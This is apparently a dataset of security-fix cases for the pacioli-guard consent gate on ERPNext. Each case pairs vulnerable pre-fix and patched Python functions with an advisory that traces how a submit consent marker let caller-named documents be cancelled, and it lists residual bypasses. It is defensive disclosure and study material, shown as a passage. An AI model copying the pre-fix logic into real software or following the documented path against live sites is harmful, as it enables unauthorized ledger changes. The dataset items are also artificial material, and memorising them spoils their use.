+commit = "f3c7219f5dde6050bd7921e0ac55afd02771250c"
+cwe = "CWE-863"
+family = "access_control"
+function = "consent_verdict"
+function_lines = [[1081, 1157]]
+id = "john-broadway-pacioli-39e17ab80d48e54e"
+language = "python"
+method = "fix_site"
+parent = "3262d87a88df3a463501b1ca767472c7f42337da"
+path = "guard/pacioli_guard/scope.py"
+post_fix = "def consent_verdict(presented, doctype, docname, action, record, now, principal):\n \"\"\"Decide whether a ledger-affecting call carries valid consent. Pure.\n\n Returns ``(allowed, reason)``; ``reason`` carries the refusal text when denied.\n\n WHY THIS EXISTS. Scoping a credential to exactly the calls it makes does not stop whoever\n holds that credential from making those calls. The broker must be allowed to submit\n invoices, so its key is allowed to submit invoices, so a stolen key submits invoices with\n no plan and no receipt. Proven on the live bench 2026-07-25: the ledger moved. No allowlist\n can close that, because the allowlist is already exactly right. The floor has to demand\n evidence that a human consented to THIS act on THIS document, and burn that evidence on use.\n\n Deny-biased throughout, and every branch names what is wrong: a refusal here is a fixable,\n inspectable event, not a dead end.\n\n ORDER MATTERS. Binding and liveness are judged BEFORE the token is compared, so a correct\n token against a stale, spent, wrong-document, wrong-act or self-minted marker still refuses.\n The comparison itself is constant-time — a marker check that leaks its answer through timing\n is a marker check an attacker can walk.\n\n TWO SEPARATIONS THIS ENFORCES, both learned the same day the bypass was found:\n\n * **Act binding.** ``action`` is the move being attempted (see :func:`docstatus_action`) and\n the marker names the move it authorises. A submit marker does not spend on a cancel. An\n unreadable act binds to nothing and refuses.\n * **Minter separation.** ``principal`` is the credential making the call. If it also minted\n the marker, the credential authorised itself and the gate is decoration — a stolen key\n would mint its own permission and spend it in the same breath. Unprovable separation (no\n recorded minter, or an unidentifiable caller) is not separation, and refuses too.\n \"\"\"\n if not presented:\n return False, \"no consent marker presented\"\n if record is None:\n # NAMES THE ACT IT WAS ASKED ABOUT, and a remedy that exists in THIS install.\n #\n # It used to say \"...before it can be submitted\" for every act, so a blocked CANCEL was\n # told to go get permission to submit. And it named `pacioli mint`, which ships in the\n # SEPARATE `pacioli` broker distribution — this package installs no console script at all,\n # and its documented deployment is a bare `bench install-app` on a bench with no broker on\n # it. Both were observed live. A refusal is the one message an operator is guaranteed to\n # read, at the moment they are blocked; sending them after a command their shell does not\n # have is a lie that costs them real time.\n return False, (f\"no live consent marker for this document and act — a human (not this \"\n f\"credential) must create a Pacioli Consent Marker for this exact document \"\n f\"with action '{action}' before it can proceed. In the desk UI, or with \"\n f\"`pacioli mint` from the separate `pacioli` broker package\")\n if _consent_field(record, \"burned\"):\n return False, \"this consent marker was already used — markers are single-use\"\n expires_at = _consent_field(record, \"expires_at\")\n if expires_at is None or now >= expires_at:\n return False, \"this consent marker has expired — mint a fresh one\"\n if (_consent_field(record, \"doctype\") != doctype\n or _consent_field(record, \"docname\") != docname):\n return False, (\"this consent marker was minted for a different document — consent for \"\n \"one document is not consent for another\")\n marker_action = _consent_field(record, \"action\")\n if not action or not marker_action:\n return False, (\"the act being authorised could not be determined — consent binds to a \"\n \"named act (submit or cancel), and an unreadable act binds to nothing\")\n if str(marker_action).strip().lower() != str(action).strip().lower():\n return False, (f\"this consent marker authorises {str(marker_action).strip().lower()}, \"\n f\"not {str(action).strip().lower()} — consent for one act is not consent \"\n \"for a different act on the same document\")\n minted_by = _consent_field(record, \"minted_by\")\n if not minted_by:\n return False, (\"this consent marker does not record who minted it — separation that \"\n \"cannot be shown is not separation\")\n if not principal:\n return False, (\"the acting principal could not be identified, so the marker's minter \"\n \"cannot be shown to be a different hand\")\n if str(minted_by).strip().casefold() == str(principal).strip().casefold():\n return False, (\"this credential minted its own consent — a marker must come from a \"\n \"different hand than the one it authorises\")\n stored = _consent_field(record, \"token_hash\") or \"\"\n # ``presented`` may carry MORE THAN ONE marker, because one request can perform more than one\n # gated act: closing the 0.10.0 act-crossing bypass means a caller-steered cascaded cancel needs\n # its own human authorisation, and it happens inside the enclosing act's request. Every marker\n # is still bound to one document and one act and is still spent once — this only lets the\n # transport carry the several authorisations an act legitimately requires. Matching is\n # constant-time PER CANDIDATE and every candidate is compared, so the loop leaks neither which\n # token matched nor how many were tried.\n matched = False\n for candidate in _presented_candidates(presented):\n if hmac.compare_digest(str(stored), consent_token_hash(candidate)):\n matched = True\n if not matched:\n return False, \"the presented consent marker does not match the one on record\"\n return True, \"\""
+pre_fix = "def consent_verdict(presented, doctype, docname, action, record, now, principal):\n \"\"\"Decide whether a ledger-affecting call carries valid consent. Pure.\n\n Returns ``(allowed, reason)``; ``reason`` carries the refusal text when denied.\n\n WHY THIS EXISTS. Scoping a credential to exactly the calls it makes does not stop whoever\n holds that credential from making those calls. The broker must be allowed to submit\n invoices, so its key is allowed to submit invoices, so a stolen key submits invoices with\n no plan and no receipt. Proven on the live bench 2026-07-25: the ledger moved. No allowlist\n can close that, because the allowlist is already exactly right. The floor has to demand\n evidence that a human consented to THIS act on THIS document, and burn that evidence on use.\n\n Deny-biased throughout, and every branch names what is wrong: a refusal here is a fixable,\n inspectable event, not a dead end.\n\n ORDER MATTERS. Binding and liveness are judged BEFORE the token is compared, so a correct\n token against a stale, spent, wrong-document, wrong-act or self-minted marker still refuses.\n The comparison itself is constant-time — a marker check that leaks its answer through timing\n is a marker check an attacker can walk.\n\n TWO SEPARATIONS THIS ENFORCES, both learned the same day the bypass was found:\n\n * **Act binding.** ``action`` is the move being attempted (see :func:`docstatus_action`) and\n the marker names the move it authorises. A submit marker does not spend on a cancel. An\n unreadable act binds to nothing and refuses.\n * **Minter separation.** ``principal`` is the credential making the call. If it also minted\n the marker, the credential authorised itself and the gate is decoration — a stolen key\n would mint its own permission and spend it in the same breath. Unprovable separation (no\n recorded minter, or an unidentifiable caller) is not separation, and refuses too.\n \"\"\"\n if not presented:\n return False, \"no consent marker presented\"\n if record is None:\n # NAMES THE ACT IT WAS ASKED ABOUT, and a remedy that exists in THIS install.\n #\n # It used to say \"...before it can be submitted\" for every act, so a blocked CANCEL was\n # told to go get permission to submit. And it named `pacioli mint`, which ships in the\n # SEPARATE `pacioli` broker distribution — this package installs no console script at all,\n # and its documented deployment is a bare `bench install-app` on a bench with no broker on\n # it. Both were observed live. A refusal is the one message an operator is guaranteed to\n # read, at the moment they are blocked; sending them after a command their shell does not\n # have is a lie that costs them real time.\n return False, (f\"no live consent marker for this document and act — a human (not this \"\n f\"credential) must create a Pacioli Consent Marker for this exact document \"\n f\"with action '{action}' before it can proceed. In the desk UI, or with \"\n f\"`pacioli mint` from the separate `pacioli` broker package\")\n if _consent_field(record, \"burned\"):\n return False, \"this consent marker was already used — markers are single-use\"\n expires_at = _consent_field(record, \"expires_at\")\n if expires_at is None or now >= expires_at:\n return False, \"this consent marker has expired — mint a fresh one\"\n if (_consent_field(record, \"doctype\") != doctype\n or _consent_field(record, \"docname\") != docname):\n return False, (\"this consent marker was minted for a different document — consent for \"\n \"one document is not consent for another\")\n marker_action = _consent_field(record, \"action\")\n if not action or not marker_action:\n return False, (\"the act being authorised could not be determined — consent binds to a \"\n \"named act (submit or cancel), and an unreadable act binds to nothing\")\n if str(marker_action).strip().lower() != str(action).strip().lower():\n return False, (f\"this consent marker authorises {str(marker_action).strip().lower()}, \"\n f\"not {str(action).strip().lower()} — consent for one act is not consent \"\n \"for a different act on the same document\")\n minted_by = _consent_field(record, \"minted_by\")\n if not minted_by:\n return False, (\"this consent marker does not record who minted it — separation that \"\n \"cannot be shown is not separation\")\n if not principal:\n return False, (\"the acting principal could not be identified, so the marker's minter \"\n \"cannot be shown to be a different hand\")\n if str(minted_by).strip().casefold() == str(principal).strip().casefold():\n return False, (\"this credential minted its own consent — a marker must come from a \"\n \"different hand than the one it authorises\")\n stored = _consent_field(record, \"token_hash\") or \"\"\n if not hmac.compare_digest(str(stored), consent_token_hash(presented)):\n return False, \"the presented consent marker does not match the one on record\"\n return True, \"\""
+repo = "john-broadway/pacioli"
+url = "https://github.com/john-broadway/pacioli.git"
+
+[[case]]
+advisory = "GHSA-3hj7-6vmj-h8v4"
+advisory_text = "pacioli: A submit consent marker licensed cancellation of caller-named pre-existing documents\n\n### Impact\n\n`pacioli-guard`'s document-layer consent gate requires a human-minted, single-use, document-bound and **act-bound** marker before a credential carrying `API Key Scope.require_consent` may submit or cancel a document. Because ERPNext performs further document writes as a consequence of a governed act, nested acts are allowed to \"ride\" the consent established by the enclosing act instead of needing a marker of their own.\n\nThe ride predicate returned `true` for **every** cancel, regardless of which act the enclosing marker authorised. Riding never reaches `consent_verdict`, which is where the marker-to-act binding is enforced. The result: any `Document.cancel()` performed inside an act that had established consent reached `docstatus = 2` with no marker, no act-binding check, no single-use spend, and **no denial audit row**.\n\nThis is reachable with the exact grant an operator is documented to give the broker, and the cancelled document's identity is caller-controlled:\n\n- `Sales Invoice.on_submit` (`sales_invoice.py:507`) calls `process_asset_depreciation()` unconditionally, reaching `depreciate_asset_on_sale` (`:1508-1516`).\n- That iterates the invoice's item rows and calls `frappe.get_doc(\"Asset\", d.asset)`. `Sales Invoice Item.asset` is a plain writable `Link` with no `read_only` and no `fetch_from`, so the caller supplies it in the request body. The validation that would constrain it sits behind `if d.is_fixed_asset:` (`:428-429`), a server-set field.\n- The chain reaches `depreciation.py:481` and then `asset_depreciation_schedule.py:215-217`, which calls `current_schedule.cancel()` on a `docstatus == 1`, submittable `Asset Depreciation Schedule` **through the document lifecycle** (only `should_not_cancel_depreciation_entries` is set, not `ignore_validate`, so `before_cancel` does fire and the ride is what admitted it).\n\nSo one marker authorising `submit Sales Invoice X` cancelled a submitted document the human was never shown and never approved. Cancelling such a document reverses its ledger effect.\n\nThe same shape exists behind wider grants, for example `Unreconcile Payment.on_submit` (`unreconcile_payment.py:59-64`), which walks a child table the caller fills and reaches `accounts/utils.py:857`/`:859` `gain_loss_je.cancel()` on submitted Journal Entries.\n\n### Who is affected\n\nOnly sites that had opted into consent gating: a credential must hold an `API Key Scope` with `require_consent` set. `pacioli-guard` is inert for principals without such a grant, and the credential-scoping floor (`auth_hooks`) is unaffected by this issue.\n\nThe document-layer consent gate was first published in 0.9.6, which is the only released version in the affected range.\n\n### Patches\n\nFixed in **0.10.0**. The ride now discriminates on the **enclosing act**: an undo may cascade into further undos, but a submit may not cascade into the cancellation of a document that already has a name, because that is an act a human could have been asked to approve. The custody stamp carries the act it was established for rather than a bare boolean, which is the state the vulnerable code lacked.\n\n**Upgrading changes behavior.** Any ERPNext flow where a submit cascades into a lifecycle cancel now requires a consent marker for that cancel as well as for the act itself. In ERPNext v16 that includes asset sale, partial-quantity asset sale, a credit note against an asset sale, Asset Repair capitalization, Asset Shift Allocation, Asset Value Adjustment, and `Unreconcile Payment`. To make that possible, the `X-Pacioli-Consent` header now accepts several markers separated by whitespace or commas; each remains bound to one document and one act, requires a different minter, and is spent exactly once.\n\n### Workarounds\n\nOn 0.9.6, remove `require_consent` from affected grants and rely on the credential-scoping floor alone, or scope governed credentials so they cannot submit documents whose controllers cancel other documents (for ERPNext slice-one, `Sales Invoice` with a populated item-row `asset` link is the known path). Neither is a substitute for upgrading.\n\n### Residual, stated\n\nUnder a governed **cancel**, a cascaded cancel of a pre-existing document still rides. That is load-bearing for undo (an ordinary invoice cancel makes ERPNext cancel the credit/debit notes and journals it generated, via `accounts_controller.py:2001-2005`) and cannot be narrowed without a signal that a cascaded cancel is a consequence of the enclosing document specifically. That justification does not describe everything the residual admits: at least one instance is caller-steered in the same shape as the issue fixed here, `Asset Repair.on_cancel` (`asset_repair.py:215-222`), which cancels a `Serial and Batch Bundle` named by a Link the caller fills in a child table. `pacioli-guard` also does not see writes that set `flags.ignore_validate` or that skip the document lifecycle entirely (raw SQL, `db_update`/`db_set` field writes); those residuals are published in the project's own documentation and are unchanged by this advisory.\n\n### Credit\n\nFound by an internal adversarial review on 2026-07-28 that traced the predicate against frappe 16.28.0 and ERPNext v16 source rather than the project's own documentation. The prior code comment asserted that no such lever was known; that assertion had been written without the corresponding source sweep."
+commit = "f3c7219f5dde6050bd7921e0ac55afd02771250c"
+cwe = "CWE-863"
+family = "access_control"
+function = "_require_consent"
+function_lines = [[330, 414]]
+id = "john-broadway-pacioli-46e518f703a36dc0"
+language = "python"
+method = "fix_site"
+parent = "3262d87a88df3a463501b1ca767472c7f42337da"
+path = "guard/pacioli_guard/act.py"
+post_fix = "def _require_consent(doc, action):\n \"\"\"Refuse ``action`` on ``doc`` unless a live, single-use marker for exactly this document AND\n this act was minted by a different principal, then spend it.\n\n Deliberately thin: every decision is the pure core's (``consent_verdict``), the marker load and\n the atomic spend are ``enforce``'s (``_consent_record`` / ``_claim_consent``), and the denial path\n is the same ``_deny`` that audits every other refusal this app makes. This function's only job is\n to hand the document layer's facts to those.\n \"\"\"\n user = getattr(getattr(frappe, \"session\", None), \"user\", None)\n if not user or not _gated(user):\n return\n # A consequence of an ALREADY-GOVERNED act carries the consent given for that act. See\n # `_enclosing_governed_act` for why \"already governed\" is the load-bearing half.\n # ...AND this document must have been CREATED BY that act, not merely named during it.\n #\n # CONSENT AMPLIFICATION (redteam 2026-07-26, second pass). Riding on \"an enclosing governed act\n # is in progress\" alone licenses more than the human approved. The failure that motivated the\n # exception was `Payment Ledger Entry ruq5vig9c2` — a document that DID NOT EXIST until the\n # submit ran, which is why no human could mint a marker for it. But the same predicate also\n # licensed PRE-EXISTING drafts the caller NAMED in the request body, which a human could have\n # been asked to approve. Reachable in the ordinary slice-one flow: submitting a Sales Invoice\n # with `update_stock` carries the item row's `serial_and_batch_bundle` LINK straight from the\n # request body (`stock_controller.py:1069`), and `serial_batch_bundle.py:441-449` then does\n # `frappe.get_doc(\"Serial and Batch Bundle\", )` and submits it. One marker for one\n # invoice, and stock-ledger-moving documents the human never saw reach docstatus 1.\n #\n # `flags.in_insert` separates the two exactly, using frappe's own signal rather than new state:\n # it is set at `model/document.py:478`, immediately BEFORE `run_before_save_methods()` at :479\n # fires `before_submit`, and cleared at :482. A cascade-created document has it — verified on\n # real bytes for the motivating case, where `create_payment_ledger_entry` builds the PLE with\n # `frappe.get_doc()` (no name, so `__islocal`) and `_save` delegates to `insert()`\n # (`:571-572`). A document loaded by name and submitted does NOT have it.\n #\n # ...but ONLY on the submit path, and \"created by the act\" is RECORDED at `after_insert` rather\n # than inferred from `in_insert` at submit time — see `_CREATED_IN_ACT` for why the flag alone\n # was a proxy that missed every two-step `save(); submit()` creation. On the cancel path the\n # discriminator is the ENCLOSING act instead, because a cancel is always of a document that\n # already has a name. `_may_ride` owns both splits and states the residual each leaves.\n enclosing_act = _enclosing_governed_act(doc)\n if enclosing_act and _may_ride(doc, action, enclosing_act):\n # Propagate custody: a cascade of a cascade (a GL Entry inside a Payment Ledger Entry\n # inside the consented invoice) must keep riding the original act rather than becoming\n # ungoverned once it is two levels deep. Stamped with THIS act, so a cancel nested under a\n # ridden submit is judged against the submit and refused rather than inheriting a cancel\n # authority from further up the stack.\n _flag_set(doc, _CONSENT_ESTABLISHED, action)\n return\n doctype = getattr(doc, \"doctype\", None)\n docname = getattr(doc, \"name\", None)\n record = _consent_record(doctype, docname) if doctype and docname else None\n allowed, reason = consent_verdict(_presented_consent(), doctype, docname, action, record,\n time.time(), user)\n if not allowed:\n _deny(\n \"consent (document layer)\",\n # STATES ITS OWN COVERAGE HONESTLY. This used to end \"This gate runs on every path\n # that reaches the document lifecycle, not only on api-key REST calls.\" The second\n # clause is true and is why this moved off `auth_hooks`. The FIRST IS NOT, and this\n # module's docstring says so above: `run_before_save_methods` returns early on\n # `flags.ignore_validate` (frappe `model/document.py:1399-1400`), BEFORE the\n # `_action == \"submit\"` branch at `:1405` fires `before_submit` — so a write can reach\n # the document lifecycle and never reach here. An operator sizing a threat model on\n # \"every path\" would be sizing it on a guarantee this software does not give, in the\n # one message they are certain to read.\n f\"This credential requires human consent to {action} a document, and {reason}. \"\n f\"Refused for {doctype} {docname}. The marker is presented in the {CONSENT_HEADER} \"\n f\"header. This gate runs at the document layer, so it covers paths an api-key check \"\n f\"cannot see (OAuth Bearer, desk sessions, background jobs, the scheduler, server \"\n f\"scripts, the bench console). It does NOT see a write that sets \"\n f\"`flags.ignore_validate`, or one that skips the document lifecycle entirely \"\n f\"(raw SQL, `db_update`/`db_set` field writes).\",\n )\n return\n # The spend IS the single-use check — see `_claim_consent`. Losing it denies, and it fails\n # closed, so an unconfirmable spend never becomes a permitted write.\n if not _claim_consent(record):\n _deny(\n \"consent (document layer)\",\n f\"This credential presented a consent marker for {doctype} {docname} that could not be \"\n f\"spent: it was already used by another request, or the spend could not be confirmed. \"\n f\"Markers are single-use — a human mints a fresh one with `pacioli mint`.\",\n )\n return\n # Consent for THIS act is now established, so the framework's own consequences of it may ride.\n # Stamped only after the marker is actually spent: an act that was refused, or whose spend could\n # not be confirmed, must not license anything nested beneath it.\n _flag_set(doc, _CONSENT_ESTABLISHED, action)\n\n"
+pre_fix = "def _require_consent(doc, action):\n \"\"\"Refuse ``action`` on ``doc`` unless a live, single-use marker for exactly this document AND\n this act was minted by a different principal, then spend it.\n\n Deliberately thin: every decision is the pure core's (``consent_verdict``), the marker load and\n the atomic spend are ``enforce``'s (``_consent_record`` / ``_claim_consent``), and the denial path\n is the same ``_deny`` that audits every other refusal this app makes. This function's only job is\n to hand the document layer's facts to those.\n \"\"\"\n user = getattr(getattr(frappe, \"session\", None), \"user\", None)\n if not user or not _gated(user):\n return\n # A consequence of an ALREADY-GOVERNED act carries the consent given for that act. See\n # `_inside_another_write` for why \"already governed\" is the load-bearing half.\n # ...AND this document must have been CREATED BY that act, not merely named during it.\n #\n # CONSENT AMPLIFICATION (redteam 2026-07-26, second pass). Riding on \"an enclosing governed act\n # is in progress\" alone licenses more than the human approved. The failure that motivated the\n # exception was `Payment Ledger Entry ruq5vig9c2` — a document that DID NOT EXIST until the\n # submit ran, which is why no human could mint a marker for it. But the same predicate also\n # licensed PRE-EXISTING drafts the caller NAMED in the request body, which a human could have\n # been asked to approve. Reachable in the ordinary slice-one flow: submitting a Sales Invoice\n # with `update_stock` carries the item row's `serial_and_batch_bundle` LINK straight from the\n # request body (`stock_controller.py:1069`), and `serial_batch_bundle.py:441-449` then does\n # `frappe.get_doc(\"Serial and Batch Bundle\", )` and submits it. One marker for one\n # invoice, and stock-ledger-moving documents the human never saw reach docstatus 1.\n #\n # `flags.in_insert` separates the two exactly, using frappe's own signal rather than new state:\n # it is set at `model/document.py:478`, immediately BEFORE `run_before_save_methods()` at :479\n # fires `before_submit`, and cleared at :482. A cascade-created document has it — verified on\n # real bytes for the motivating case, where `create_payment_ledger_entry` builds the PLE with\n # `frappe.get_doc()` (no name, so `__islocal`) and `_save` delegates to `insert()`\n # (`:571-572`). A document loaded by name and submitted does NOT have it.\n #\n # ...but ONLY on the submit path. `in_insert` is structurally False at every `before_cancel`, so\n # requiring it there refused every cascaded cancel and took UNDO out with it. `_may_ride` owns\n # that split and states the residual it leaves.\n if _inside_another_write(doc) and _may_ride(doc, action):\n # Propagate custody: a cascade of a cascade (a GL Entry inside a Payment Ledger Entry\n # inside the consented invoice) must keep riding the original act rather than becoming\n # ungoverned once it is two levels deep.\n _flag_set(doc, _CONSENT_ESTABLISHED)\n return\n doctype = getattr(doc, \"doctype\", None)\n docname = getattr(doc, \"name\", None)\n record = _consent_record(doctype, docname) if doctype and docname else None\n allowed, reason = consent_verdict(_presented_token(), doctype, docname, action, record,\n time.time(), user)\n if not allowed:\n _deny(\n \"consent (document layer)\",\n # STATES ITS OWN COVERAGE HONESTLY. This used to end \"This gate runs on every path\n # that reaches the document lifecycle, not only on api-key REST calls.\" The second\n # clause is true and is why this moved off `auth_hooks`. The FIRST IS NOT, and this\n # module's docstring says so above: `run_before_save_methods` returns early on\n # `flags.ignore_validate` (frappe `model/document.py:1399-1400`), BEFORE the\n # `_action == \"submit\"` branch at `:1405` fires `before_submit` — so a write can reach\n # the document lifecycle and never reach here. An operator sizing a threat model on\n # \"every path\" would be sizing it on a guarantee this software does not give, in the\n # one message they are certain to read.\n f\"This credential requires human consent to {action} a document, and {reason}. \"\n f\"Refused for {doctype} {docname}. The marker is presented in the {CONSENT_HEADER} \"\n f\"header. This gate runs at the document layer, so it covers paths an api-key check \"\n f\"cannot see (OAuth Bearer, desk sessions, background jobs, the scheduler, server \"\n f\"scripts, the bench console). It does NOT see a write that sets \"\n f\"`flags.ignore_validate`, or one that skips the document lifecycle entirely \"\n f\"(raw SQL, `db_update`/`db_set` field writes).\",\n )\n return\n # The spend IS the single-use check — see `_claim_consent`. Losing it denies, and it fails\n # closed, so an unconfirmable spend never becomes a permitted write.\n if not _claim_consent(record):\n _deny(\n \"consent (document layer)\",\n f\"This credential presented a consent marker for {doctype} {docname} that could not be \"\n f\"spent: it was already used by another request, or the spend could not be confirmed. \"\n f\"Markers are single-use — a human mints a fresh one with `pacioli mint`.\",\n )\n return\n # Consent for THIS act is now established, so the framework's own consequences of it may ride.\n # Stamped only after the marker is actually spent: an act that was refused, or whose spend could\n # not be confirmed, must not license anything nested beneath it.\n _flag_set(doc, _CONSENT_ESTABLISHED)\n\n"
+repo = "john-broadway/pacioli"
+url = "https://github.com/john-broadway/pacioli.git"
+
+[[case]]
+advisory = "GHSA-3hj7-6vmj-h8v4"
+advisory_text = "pacioli: A submit consent marker licensed cancellation of caller-named pre-existing documents\n\n### Impact\n\n`pacioli-guard`'s document-layer consent gate requires a human-minted, single-use, document-bound and **act-bound** marker before a credential carrying `API Key Scope.require_consent` may submit or cancel a document. Because ERPNext performs further document writes as a consequence of a governed act, nested acts are allowed to \"ride\" the consent established by the enclosing act instead of needing a marker of their own.\n\nThe ride predicate returned `true` for **every** cancel, regardless of which act the enclosing marker authorised. Riding never reaches `consent_verdict`, which is where the marker-to-act binding is enforced. The result: any `Document.cancel()` performed inside an act that had established consent reached `docstatus = 2` with no marker, no act-binding check, no single-use spend, and **no denial audit row**.\n\nThis is reachable with the exact grant an operator is documented to give the broker, and the cancelled document's identity is caller-controlled:\n\n- `Sales Invoice.on_submit` (`sales_invoice.py:507`) calls `process_asset_depreciation()` unconditionally, reaching `depreciate_asset_on_sale` (`:1508-1516`).\n- That iterates the invoice's item rows and calls `frappe.get_doc(\"Asset\", d.asset)`. `Sales Invoice Item.asset` is a plain writable `Link` with no `read_only` and no `fetch_from`, so the caller supplies it in the request body. The validation that would constrain it sits behind `if d.is_fixed_asset:` (`:428-429`), a server-set field.\n- The chain reaches `depreciation.py:481` and then `asset_depreciation_schedule.py:215-217`, which calls `current_schedule.cancel()` on a `docstatus == 1`, submittable `Asset Depreciation Schedule` **through the document lifecycle** (only `should_not_cancel_depreciation_entries` is set, not `ignore_validate`, so `before_cancel` does fire and the ride is what admitted it).\n\nSo one marker authorising `submit Sales Invoice X` cancelled a submitted document the human was never shown and never approved. Cancelling such a document reverses its ledger effect.\n\nThe same shape exists behind wider grants, for example `Unreconcile Payment.on_submit` (`unreconcile_payment.py:59-64`), which walks a child table the caller fills and reaches `accounts/utils.py:857`/`:859` `gain_loss_je.cancel()` on submitted Journal Entries.\n\n### Who is affected\n\nOnly sites that had opted into consent gating: a credential must hold an `API Key Scope` with `require_consent` set. `pacioli-guard` is inert for principals without such a grant, and the credential-scoping floor (`auth_hooks`) is unaffected by this issue.\n\nThe document-layer consent gate was first published in 0.9.6, which is the only released version in the affected range.\n\n### Patches\n\nFixed in **0.10.0**. The ride now discriminates on the **enclosing act**: an undo may cascade into further undos, but a submit may not cascade into the cancellation of a document that already has a name, because that is an act a human could have been asked to approve. The custody stamp carries the act it was established for rather than a bare boolean, which is the state the vulnerable code lacked.\n\n**Upgrading changes behavior.** Any ERPNext flow where a submit cascades into a lifecycle cancel now requires a consent marker for that cancel as well as for the act itself. In ERPNext v16 that includes asset sale, partial-quantity asset sale, a credit note against an asset sale, Asset Repair capitalization, Asset Shift Allocation, Asset Value Adjustment, and `Unreconcile Payment`. To make that possible, the `X-Pacioli-Consent` header now accepts several markers separated by whitespace or commas; each remains bound to one document and one act, requires a different minter, and is spent exactly once.\n\n### Workarounds\n\nOn 0.9.6, remove `require_consent` from affected grants and rely on the credential-scoping floor alone, or scope governed credentials so they cannot submit documents whose controllers cancel other documents (for ERPNext slice-one, `Sales Invoice` with a populated item-row `asset` link is the known path). Neither is a substitute for upgrading.\n\n### Residual, stated\n\nUnder a governed **cancel**, a cascaded cancel of a pre-existing document still rides. That is load-bearing for undo (an ordinary invoice cancel makes ERPNext cancel the credit/debit notes and journals it generated, via `accounts_controller.py:2001-2005`) and cannot be narrowed without a signal that a cascaded cancel is a consequence of the enclosing document specifically. That justification does not describe everything the residual admits: at least one instance is caller-steered in the same shape as the issue fixed here, `Asset Repair.on_cancel` (`asset_repair.py:215-222`), which cancels a `Serial and Batch Bundle` named by a Link the caller fills in a child table. `pacioli-guard` also does not see writes that set `flags.ignore_validate` or that skip the document lifecycle entirely (raw SQL, `db_update`/`db_set` field writes); those residuals are published in the project's own documentation and are unchanged by this advisory.\n\n### Credit\n\nFound by an internal adversarial review on 2026-07-28 that traced the predicate against frappe 16.28.0 and ERPNext v16 source rather than the project's own documentation. The prior code comment asserted that no such lever was known; that assertion had been written without the corresponding source sweep."
+commit = "f3c7219f5dde6050bd7921e0ac55afd02771250c"
+cwe = "CWE-863"
+family = "access_control"
+function = "_flag_set"
+function_lines = [[120, 132]]
+id = "john-broadway-pacioli-48f1f22be6ba9f48"
+language = "python"
+method = "fix_site"
+parent = "3262d87a88df3a463501b1ca767472c7f42337da"
+path = "guard/pacioli_guard/act.py"
+post_fix = "def _flag_set(doc, key, value=True):\n flags = getattr(doc, \"flags\", None)\n if flags is None:\n return\n try:\n flags[key] = value\n except (TypeError, AttributeError):\n try:\n setattr(flags, key, value)\n except Exception: # noqa: BLE001 — a stamp we cannot record must not break the write\n pass\n\n"
+pre_fix = "def _flag_set(doc, key):\n flags = getattr(doc, \"flags\", None)\n if flags is None:\n return\n try:\n flags[key] = True\n except (TypeError, AttributeError):\n try:\n setattr(flags, key, True)\n except Exception: # noqa: BLE001 — a stamp we cannot record must not break the write\n pass\n\n"
+repo = "john-broadway/pacioli"
+url = "https://github.com/john-broadway/pacioli.git"
+
+[[case]]
+advisory = "GHSA-3hj7-6vmj-h8v4"
+advisory_text = "pacioli: A submit consent marker licensed cancellation of caller-named pre-existing documents\n\n### Impact\n\n`pacioli-guard`'s document-layer consent gate requires a human-minted, single-use, document-bound and **act-bound** marker before a credential carrying `API Key Scope.require_consent` may submit or cancel a document. Because ERPNext performs further document writes as a consequence of a governed act, nested acts are allowed to \"ride\" the consent established by the enclosing act instead of needing a marker of their own.\n\nThe ride predicate returned `true` for **every** cancel, regardless of which act the enclosing marker authorised. Riding never reaches `consent_verdict`, which is where the marker-to-act binding is enforced. The result: any `Document.cancel()` performed inside an act that had established consent reached `docstatus = 2` with no marker, no act-binding check, no single-use spend, and **no denial audit row**.\n\nThis is reachable with the exact grant an operator is documented to give the broker, and the cancelled document's identity is caller-controlled:\n\n- `Sales Invoice.on_submit` (`sales_invoice.py:507`) calls `process_asset_depreciation()` unconditionally, reaching `depreciate_asset_on_sale` (`:1508-1516`).\n- That iterates the invoice's item rows and calls `frappe.get_doc(\"Asset\", d.asset)`. `Sales Invoice Item.asset` is a plain writable `Link` with no `read_only` and no `fetch_from`, so the caller supplies it in the request body. The validation that would constrain it sits behind `if d.is_fixed_asset:` (`:428-429`), a server-set field.\n- The chain reaches `depreciation.py:481` and then `asset_depreciation_schedule.py:215-217`, which calls `current_schedule.cancel()` on a `docstatus == 1`, submittable `Asset Depreciation Schedule` **through the document lifecycle** (only `should_not_cancel_depreciation_entries` is set, not `ignore_validate`, so `before_cancel` does fire and the ride is what admitted it).\n\nSo one marker authorising `submit Sales Invoice X` cancelled a submitted document the human was never shown and never approved. Cancelling such a document reverses its ledger effect.\n\nThe same shape exists behind wider grants, for example `Unreconcile Payment.on_submit` (`unreconcile_payment.py:59-64`), which walks a child table the caller fills and reaches `accounts/utils.py:857`/`:859` `gain_loss_je.cancel()` on submitted Journal Entries.\n\n### Who is affected\n\nOnly sites that had opted into consent gating: a credential must hold an `API Key Scope` with `require_consent` set. `pacioli-guard` is inert for principals without such a grant, and the credential-scoping floor (`auth_hooks`) is unaffected by this issue.\n\nThe document-layer consent gate was first published in 0.9.6, which is the only released version in the affected range.\n\n### Patches\n\nFixed in **0.10.0**. The ride now discriminates on the **enclosing act**: an undo may cascade into further undos, but a submit may not cascade into the cancellation of a document that already has a name, because that is an act a human could have been asked to approve. The custody stamp carries the act it was established for rather than a bare boolean, which is the state the vulnerable code lacked.\n\n**Upgrading changes behavior.** Any ERPNext flow where a submit cascades into a lifecycle cancel now requires a consent marker for that cancel as well as for the act itself. In ERPNext v16 that includes asset sale, partial-quantity asset sale, a credit note against an asset sale, Asset Repair capitalization, Asset Shift Allocation, Asset Value Adjustment, and `Unreconcile Payment`. To make that possible, the `X-Pacioli-Consent` header now accepts several markers separated by whitespace or commas; each remains bound to one document and one act, requires a different minter, and is spent exactly once.\n\n### Workarounds\n\nOn 0.9.6, remove `require_consent` from affected grants and rely on the credential-scoping floor alone, or scope governed credentials so they cannot submit documents whose controllers cancel other documents (for ERPNext slice-one, `Sales Invoice` with a populated item-row `asset` link is the known path). Neither is a substitute for upgrading.\n\n### Residual, stated\n\nUnder a governed **cancel**, a cascaded cancel of a pre-existing document still rides. That is load-bearing for undo (an ordinary invoice cancel makes ERPNext cancel the credit/debit notes and journals it generated, via `accounts_controller.py:2001-2005`) and cannot be narrowed without a signal that a cascaded cancel is a consequence of the enclosing document specifically. That justification does not describe everything the residual admits: at least one instance is caller-steered in the same shape as the issue fixed here, `Asset Repair.on_cancel` (`asset_repair.py:215-222`), which cancels a `Serial and Batch Bundle` named by a Link the caller fills in a child table. 